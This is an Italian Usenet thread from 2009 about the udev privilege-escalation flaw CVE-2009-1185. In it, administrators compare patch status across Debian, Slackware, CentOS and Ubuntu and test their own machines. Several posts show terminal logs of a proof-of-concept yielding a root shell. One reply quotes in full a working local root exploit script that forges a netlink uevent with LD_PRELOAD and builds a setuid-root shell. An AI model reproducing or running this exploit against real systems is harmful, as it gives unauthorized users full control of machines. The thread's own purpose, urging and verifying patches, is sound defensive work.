Newsgroup: it.comp.os.linux.sys
Titolo: Per chi non l'avesse ancora fatto...

...aggiornate udev, ora, subito, immediatamente.
http://blog.bofh.it/debian/id_255
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-04/msg00204.html


Porca puttana:
http://www.debian.org/security/2009/dsa-1772
Etch (old) e Lenny (stable) sono corrette, Sid verrà corretta a breve... e
la Lenny (testing)???? :-O
Merda merda merda merda.
-- 
Massimo Bacilieri AKA Crononauta

 Merda merda merda merda.
'spe, devi comunque avere accesso alla macchina ehhh (in un modo o 
nell'altro)
Rizio
-- 
Si dice che essere liberi significa non avere nulla da perdere...sembra 
facile a prima vista...ma la verità è che non avere nulla da perdere 
significa essere pronti a rischiare tutto ciò che si possiede.

 ...aggiornate udev, ora, subito, immediatamente.
http://blog.bofh.it/debian/id_255http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-04/msg002.
..
Mmmhhh...
Non è proprio gravissimo: prima di bucare bisogna avere un accesso
locale
(come da:
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-04/msg00203.html
).
Attenderei un pochettino, per varie ragioni, sempre che non abbiate
utenti
che si loggano localmente.
PS: nel changelog e NEWS file di udev non c'è alcun commento di baco.
Strano, normalmente capita che sul sito ed in questi files la cosa sia
indicata..
Ciao,
ScriptJus

 indicata..
=================================================================================================================
whip@muletto:/tmp$ id
uid=1000(whip) gid=1000(whip) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(whip)
vf@muletto:/tmp$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
ffff81003fa14000 0   0      00000000 0        0        0000000000000000 2
ffff81003d993c00 7   0      00000000 0        0        0000000000000000 2
ffff81003fa48400 9   0      00000000 0        0        0000000000000000 2
ffff81003f058c00 10  0      00000000 0        0        0000000000000000 2
ffff81003fa1b400 15  0      00000000 0        0        0000000000000000 2
ffff810037901000 15  933    00000001 0        0        0000000000000000 2
ffff81003fb7d000 16  0      00000000 0        0        0000000000000000 2
ffff8100379ff400 18  0      00000000 0        0        0000000000000000 2
vf@muletto:/tmp$ ./testudev.sh 933
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2#
sh-3.2# id
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(whip)
sh-3.2#
=================================================================================================================

 e la Lenny (testing)???? :-O
Idem.

 Merda merda merda merda.
Ammazza se ti sei preso male :) Quanti utenti problematici hai sui tuoi 
server che non aspettano altro che avere root?
-- 
Vide

 server che non aspettano altro che avere root?
No è che leggendo in fretta avevo fatto un salto leggendo NETLINK...
Già m'ero immaginato fosse un exploit utilizzabile tramite pacchetti di
rete, temendo aggressioni tramite pacchetti spoofati o simile che potevano
permettere di far eseguire operazioni con privilegi di root... :-O
Adesso che ho riletto meglio sono più tranquillo, in effetti non ho degli
utenti che fanno login sulle macchine.


whiplash wrote:

Slackware 12.2 aggiornata sembra immune...
g4b0@slack:~/sys/udevCrack$ ls -l /var/log/packages/ | grep udev
-rw-r--r-- 1 root root    2822 2009-03-18 12:56 udev-135-i486-2
g4b0@slack:~/sys/udevCrack$ id
uid=1000(g4b0) gid=1001(www) groups=11(floppy),17(audio),18(video),1
(cdrom),83(plugdev),100(users),1001(www)
g4b0@slack:~/sys/udevCrack$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f5b3da00 0   3008   00000111 0        0        00000000 2
f787a200 0   0      00000000 0        0        00000000 2
f64dfa00 6   0      00000000 0        0        00000000 2
f6459600 8   0      00000000 0        0        00000000 2
f6930000 10  0      00000000 0        0        00000000 2
f787a800 15  0      00000000 0        0        00000000 2
f6520e00 15  1345   00000001 0        0        00000000 2
f78c2c00 16  0      00000000 0        0        00000000 2
f78f0c00 18  0      00000000 0        0        00000000 2
g4b0@slack:~/sys/udevCrack$ ./testudev.sh 1345
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in
function 'execl'
sh-3.1$ id
uid=1000(g4b0) gid=1001(www) groups=11(floppy),17(audio),18(video),1
(cdrom),83(plugdev),100(users),1001(www)
-- 
g4b0, linux user n. 369000
http://gabo.homelinux.com


mmmm.. c'era qualcuno che al mio "ho la slack" aveva fatto delle curiose 
faccine sorridenti :)
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
Fashion is a form of ugliness so intolerable that we have to alter it
every six months.
		-- Oscar Wilde

 faccine sorridenti :)
Io, ovviamente.
Anzi, ho detto che te vuoi fare il figo......

 faccine sorridenti :)
Debian/Ubuntu aggiornate: immuni :P
(e scommetto che anche tutte le altre)
-- 
Vide


ma io *SONO* figo :D


 ma io *SONO* figo :D
Vedi che quindi ho ragione io?


si ma non credo tu sia il mio tipo


 si ma non credo tu sia il mio tipo
Uff, peccato.

 Slackware 12.2 aggiornata sembra immune...
CentOS 5 anche.
Davide
-- 
I am a fully rounded human being, with a degree from the university of
life, a diploma from the school of hard knocks, and three gold stars
from the kindergarten of getting the shit kicked out of me.
- Edmund Blackadder

 (e scommetto che anche tutte le altre)
Ovvio, è un problema di udev, non di distro...:-)
Post upgrade:
whip@muletto:/tmp$./testudev.sh 23209
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ id
uid=1000(whip) gid=1000(whip) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(whip)

 whip@muletto:/tmp$./testudev.sh
Ebbene si, sono uno sfaticato.
Dove trovo lo script ? :-)

 Dove trovo lo script ? :-)
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-04/msg00204.html
Enrico

 
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-04/msg00204.html
Grazie.

Il Mon, 20 Apr 2009 21:07:55 +0200, Lotho Baggins scrisse:

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1

 la Lenny (testing)???? :-O
Su Squeeze (testing :) ) verra` corretto quando il pacchetto sara`
giudicato abbastanza stabile per entrare nella fase di test. Piuttosto,
perche` usi testing in produzione?
Enrico

> la Lenny (testing)???? :-O
Scusate, ma che è la Lenny stable e la Lenny testing?
Di Lenny non c'è quella attualmente in stable?


Facebook: Massimo Bacilieri

 perche` usi testing in produzione?
Non uso testing in produzione... qui mi preoccupavo per il mio pc di
casa :-)
In produzione ho una Etch che ha il pacchetto udev tra quelli dichiarati
"safe", quindi sto tranquillo.
-- 
Massimo Bacilieri AKA Crononauta


 Un semplice e fottuto refuso! ;-)
E come posso aggiornare alla versione
refuso? Sul sito debian non è menzionata.
:)
(fare manutenzione in piena notte fa delirare...)

 (fare manutenzione in piena notte fa delirare...)
Capisco :-)


 deb 
http://hoscazzatocomeunpollo/debian/
 refuso main
Avevo sempre pensato che 'ste aperture ai nuovi TLD avrebbero portato 
rogne...
-- 
http://bofhskull.wordpress.com/

 "safe", quindi sto tranquillo.
Oh, ieri sera ero proprio cotto :-O
In produzione ho ovviamente Lenny (attuale stable).
Mi autopunisco facendo come gli scolari alla lavagna:
Etch č la old
Lenny la stable
Squeeze la testing
Sid la unstable
Etch č la old
Lenny la stable
Squeeze la testing
Sid la unstable
Etch...
:-(


 
Se a scuola avessi avuto il cut/paste sarebbe stato un mondo migliore :)


 
Slackware ha comunque pubblicato un aggiornamento:
patches/packages/udev-141-i486-1_slack12.2.tgz
Probabilmente non funzionava il PoC, ma evidentemente udev era comunque
bacato.


 
Per fortuna non c'era (ed ancora non c'è a scuola), altrimenti chi 
avrebbe imparato a scrivere :-)
Ciao
Giovanni
-- 
   A computer is like an air conditioner,
   it stops working when you open Windows.
   < 
http://giovanni.homelinux.net/
 >

 deb 
http://hoscazzatocomeunpollo/debian/
 refuso main
Non va:
hoscazzatocomeunpollo: no route to host.

 gcc -o /tmp/suid suid.c
Scusate, forse è una domanda stupida, ma in questa parte dello script 
non manca l'inclusione dei file header per la chiamata a execl?
Saluti

 
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-04/msg00204.html
Premetto che ho installato Ubuntu Jaunty Jackall una settimana prima
del freeze, e quindi ero chiaramente a posto anche prima che tu
scrivessi il post (ho una versione superiore a quelle buggate da almeno
10 giorni).
Detto questo, in particolare se si utilizzano lmv o raid, io non
patcherei udev alla cieca.
-- 
echo onailimissaM | awk 'BEGIN { FS = "" }
{ for (i = NF; i >= 1; i-- )
  printf $i }'; echo

 patcherei udev alla cieca.
Premesso che ci si riferisce agli upgrade di distro, non è che udev
per magia ti fa sparire un device già creato e esistente a sistema
funzionante, eh.

 esistente a sistema funzionante, eh.
beh, un udev non facente parte dei rilasci della distro, e non
sufficientemente testato può fare questo e anche altro.


 sufficientemente testato può fare questo e anche altro.
udev reagisce a eventi del kernel, solitamente.
Ho qualche difficoltà ad immaginare che un kernel di una macchina già
avviata comunichi a udev "Ehi, rimuovi quel cazzo di device md!", anche
se tutto può accadere.

 ha scritto:

Ma può rispondere cazzate a ciò che il kernel gli dice di fare.
insomma... se tu hai il coraggio di installare in produzione un udev
non rilasciato ufficialmente nella tua distribuzione, vai avanti tu,
perché io - te lo dico francamente - mi cago sotto :)
Sai, se non funziona il software di posta fai il roll-back, ma alla
fine la  macchina ti parte lo stesso.
Ragioni troppo da anarchico. Prova ad essere comunista e inquadrato
come me e vedrai che certe cose non ti passeranno nemmeno per la
testa :)


 Ragioni troppo da anarchico.
ROTFL.
Touché
-- 
http://bofhskull.wordpress.com/

 Touché
Touchè un cazzo. :-)
Io con quelli lì, gli "inquadrati", ho un conto aperto, che parte
da Kronstadt e passa per la guerra di Spagna.
Okkio all'udev, kompagno komunista. <g>

 Touché
je ne comprì.Che vuol dire quando uno scrive "touché"? E' una cosa bella 
o una cosa brutta?


 e vedrai che certe cose non ti passeranno nemmeno per la testa :)
Come crawling faster
Obey you master. <beg>

 je ne comprì.
E' normale: sei un cucciolo di stalin. :-)

 o una cosa brutta?
Dipende.
Però se vedi un bullone abbassati. Nel dubbio...<g>
-- 
http://bofhskull.wordpress.com/

 Però se vedi un bullone abbassati. Nel dubbio...<g>
'stard :-D
-- 
Flavio Visentin
Scientists have finally discovered what's wrong with the female brain:
On the left side, there is nothing right, and on the right side, there
is nothing left.